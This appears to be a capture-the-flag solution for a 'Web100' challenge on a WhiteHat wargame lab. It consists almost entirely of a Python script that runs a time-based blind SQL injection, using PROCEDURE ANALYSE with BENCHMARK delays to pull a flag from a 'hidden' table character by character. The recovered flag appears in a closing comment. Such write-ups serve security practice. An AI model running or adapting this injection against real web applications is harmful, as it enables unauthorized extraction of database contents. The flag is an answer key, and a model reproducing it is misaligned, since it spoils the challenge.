Web100

import requests as re
import time

table=""
temp2=""
sample="abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_"
url="http://lab10.wargame.whitehat.vn/contests/9/web100_d7aff695d22e3c1f939f6900aac8da51/"

for z in range(1,60):
     print z
     for i in sample:
        temp2=i
        temp={"keyword":"football","limit":"1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(binary MID((select flag from hidden limit 0,1),"+str(z)+",1) LIKE '"+temp2+"', BENCHMARK(10000000,SHA1(1)),1))))),1)","find":"abc"}
        #print temp
        start=int(time.time())
        r=re.post(url,data=temp)
        end=int(time.time())
        lapse=end-start
        #print "start:"+str(start)+"/end:"+str(end)+"/lapse:"+str(lapse)
        if lapse>=5:
                table=table+i
                print table
                break

#flag: WhiteHat{fc8a521f27e621aeb9b10fd007092bfc3132496a}